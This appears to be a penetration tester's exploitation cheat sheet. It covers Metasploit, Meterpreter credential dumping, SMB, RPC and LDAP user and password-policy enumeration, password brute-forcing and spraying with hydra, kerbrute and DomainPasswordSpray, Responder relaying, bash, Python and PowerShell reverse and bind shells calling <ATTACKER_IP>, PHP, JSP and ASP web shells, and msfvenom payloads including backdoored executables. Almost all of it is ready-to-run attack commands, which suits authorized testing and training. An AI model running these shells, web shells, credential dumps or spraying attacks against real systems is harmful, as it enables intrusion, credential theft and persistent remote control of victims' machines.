5 - Exploitation

Metasploit

# Install exploit manually
cp -v <EXPLOIT> /usr/share/metasploit-framework/modules/exploits/
# OR from exploit-db
pushd /usr/share/metasploit-framework/modules/exploits/
searchsploit -m <EDB-ID>
# in MSF
reload
reload_all

### Search
# <type>/<os>/<service>/<name>

# Search for port and name, showing exploits only
search type:exploit platform: port:<PORT> name:<NAME>

# grep
grep meterpreter grep reverse_tcp show payloads

# Set all LHOST to tunnel IP
setg LHOST tun0

📊 Meterpreter Survey

sysinfo
getuid
getpid
ipconfig
ps

# Linux flag search
search -d / -f flag.txt
search -d / -f user.txt
search -d / -f root.txt

# Windows flag search
search -d C:\\ -f flag.txt
search -d C:\\ -f user.txt
search -d C:\\ -f root.txt

# REMEMBER: for Windows, quoting and double slashes 
cat "C:\\Programs and Files (x86)\\"

# Migrate
ps -s | grep svchost
migrate <PID>

getsystem
getprivs

# List security tokens of user and group
list_tokens -u
list_tokens -g
impersonate_token <DOMAIN_NAMEUSERNAME>
steal_token <PID>
drop_token

# Dumps creds
hashdump  # CrackStation
lsa_dump_sam
lsa_dump_secrets

# Better dump creds
load kiwi
creds_all

# === WINDOWS ===
run winenum
run post/windows/gather/checkvm
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares

# --- Privilege Escalation & Credential Gathering ---
run post/windows/gather/smart_hashdump
run post/multi/recon/local_exploit_suggester

🗄️ DB for Targets

# Check database status from within msfconsole
db_status

# Database Backend Commands
db_nmap <NMAP_OPTS> <TARGET>
db_connect
db_disconnect
db_export -f xml metasploit_backup.xml
db_import <SCAN_FILE_XML>
db_rebuild_cache
db_remove
db_save

# Manage workspaces
workspace
workspace -a <WORKSPACE>
workspace -d <WORKSPACE>
workspace <WORKSPACE>

hosts
loot
notes
services
vulns
creds

# Using database hosts for a module
hosts -R  # set RHOSTS from hosts
services -S <SEARCH>

Password

Enumerating Password Policy

See more about… enum4linux-ng

Source: Docs > 4 - Vuln Analysis (Services) > smb-cifs#enum4linux-ng

enum4linux-ng

enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:

ToolPorts
nmblookup137/UDP
nbtstat137/UDP
net139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient135/TCP
smbclient445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>
# via SMB
netexec smb <TARGET> --pass-pol
netexec smb <TARGET> -u <USER> -p <PASS> --pass-pol

# via RPC
rpcclient -U "" -N <TARGET>
rpcclient -U '<USER>%<PASSWORD>' <TARGET>
querydominfo  # get domain and password policy

# via LDAP anon bind (Win Server 2003)
# pwdProperties: password complexity
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# via net
net use \\<TARGET>\ipc$ "" /u:""
net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER>

# via net accounts
net accounts

NOTE: “If asking for the policy does not fit the expectations of the assessment or the client does not want to provide it, we should run one, max two, password spraying attempts (regardless of whether we are internal or external) and wait over an hour between attempts if we indeed decide to attempt two”

Default Domain Policy

PolicyDefault Value
Enforce password history24 days
Maximum password age42 days
Minimum password age1 day
Minimum password length7
Password must meet complexity requirementsEnabled
Store passwords using reversible encryptionDisabled
Account lockout durationNot set
Account lockout threshold0
Reset account lockout counter afterNot set

Default Login Creds

# Install
pipx install defaultcreds-cheat-sheet

# Creds
creds search <KEYWORD>

User Enum

All of these use anonymous sessions, but credentials can be tried as well.

# via enum4linux-ng (this uses RPC)
enum4linux-ng -U <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"

# via RPC
rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt

# via SMB
netexec smb <TARGET> --users

# via LDAP anon bind
# https://linux.die.net/man/1/ldapsearch
# Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

# Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication
# LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
# for <WORDLIST>: wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>

Brute-Forcing & Spraying

  • Brute-Force: 1 user against 1 target using many passwords (alternates passwords)
    • RISK of account lock d/t account lockout policy – find valid creds for user (only option or valuable account)
  • Spraying: many users against many targets using 1 password (alternates users)
    • no risk of account lockout – “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if “…you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset…”

Linux

# Check netexec -h for services
netexec smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'

# via RPC
for u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; done

# via Kerbrute
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS>  <PASSWORD>
Local Auth

This tries local authentication instead of domain authentication. Mitigated with:

# Check netexec -h for services
netexec smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'

Windows

By default, the script “smartly” checks account logon policy and pulls users from the current domain (minus disabled accounts). Users can be specified with -UserList and the domain with -Domain respectively.

# DomainPasswordSpray
wget https://github.com/dafthack/DomainPasswordSpray/raw/refs/heads/master/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -OutFile spray_success -ErrorAction SilentlyContinue -Password <PASSWORD>

Hydra

# Web Login brute-force (ONLINE - use small wordlist to avoid lockouts)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -VF -o hydra_web_login.txt

# Wordpress brute-force login form with a complex request string (ONLINE - use small wordlist)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt

# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)
hydra -t 4 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt ssh://<TARGET>:<PORT> -o hydra_ssh_login.txt
### Core Flags
-f      : Stop immediately when a credential is found
-V      : Verbose (Check if service is responding)

### SSH / FTP / RDP / SMB
hydra -l <USER> -P <WORDLIST> -f -V -t 4 ssh://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>

### Web Forms (HTTP-POST)
# Syntax: "/path:body:F=FailureString"
# Use ^USER^ and ^PASS^ as placeholders. Check Burp Suite for body structure.
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid password" -V -f

### WordPress Specific
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f

### Password Spraying (1 pass vs many users)
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

Protocol Poisoners

Responder (Linux)

Can attack the following protocols:

  • LLMNR
  • DNS
  • MDNS
  • NBNS
  • DHCP
  • ICMP
  • HTTP
  • HTTPS
  • SMB
  • LDAP
  • WebDAV
  • Proxy Auth
  • MSSQL
  • DCE-RPC
  • FTP, POP3, IMAP, and SMTP auth
# Force WPAD login...this may cause a login prompt
sudo responder --wpad f --ForceWpadAuth <INTERFACE>

# ANALYZE MODE: observe NBT-NS, BROWSER, LLMNR requests w/o responding
sudo responder -I <INTERFACE> -A

# Use RevShell to send a PowerShell base64 callback
# nc -lvnp <PORT>
impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'

Inveigh (Windows)

Shells

Forward/Bind

# === TARGET: LISTENER ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",<LISTEN_PORT>));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

powershell -NoP --% -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]<LISTEN_PORT>; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

# === ATTACKER: CONNECT ===
nc -nv <TARGET> <LISTEN_PORT>

Callback/Reverse

# === ATTACKER: LISTENER ===
nc -lvnp <CALLBACK_PORT>

# === TARGET: CALLBACKS ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -nv <ATTACKER_IP> <CALLBACK_PORT> > /tmp/f

bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<CALLBACK_PORT> 0>&1'

# Must be ran from cmd.exe
powershell -nop --% -c "$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',<CALLBACK_PORT>);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

⚡ Command executor

echo '<?php if(isset($_GET["debug"])) system($_GET["debug"]); ?>' > debug.php

curl -skL -o- http://<TARGET>/debug.php?debug=<COMMAND>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<% eval request("cmd") %>

🎯 Msfvenom

  • stageless: names like shell_reverse_tcp
  • staged: names like shell_reverse_tcp
### Listener for reverse callbacks
use exploit/multi/handler
set payload <PAYLOAD>  # should match msfvenom
set lhost <LISTEN_IP>
set lport <LISTEN_PORT>

### Msfvenom commands
msfvenom -l payloads
msfvenom -l formats

# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw -e php/base64  # NOTE: need to add <?php ?> tags to file
msfvenom -p php/reverse_php LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > reverse_shell.php  # NOTE: need to add <?php ?> tags to file
msfvenom -p php/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.php

# LINUX
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f elf > rev_shell.elf
msfvenom -p cmd/unix/reverse_python LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.py

# WINDOWS
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > rev_shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > nameoffile.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f asp > rev_shell.asp

# Java Web Shells
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > nameoffile.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f war > nameoffile.war

# BACKDOOR-ed EXECUTABLES
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -k -x <INPUT_FILE> -e x86/shikata_ga_nai -a x86 --platform windows -o <OUTPUT_FILE> -i 5

Shell Upgrade

# Best Upgrade
for i in python3 python python2 ; do command -v "$i" >/dev/null && "$i" -c 'import pty; pty.spawn("/bin/bash")' && exit ; done
# Others
script /dev/null -c /bin/bash
/bin/bash -i
find . -exec /bin/bash -p \; -quit
awk 'BEGIN {system("/bin/bash")}'
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
vim -c ':!/bin/bash' -c ':qa!'
lua -e 'os.execute("/bin/bash")'

# ---

export TERM=xterm-256color

CTRL+Z
stty raw -echo ; fg

# Resize terminal size
echo "MAKE SURE THIS IS RAN ON ATTACKER BOX, THEN...\n\nON TARGET SHELL:\nstty rows $(tput lines) columns $(tput cols)"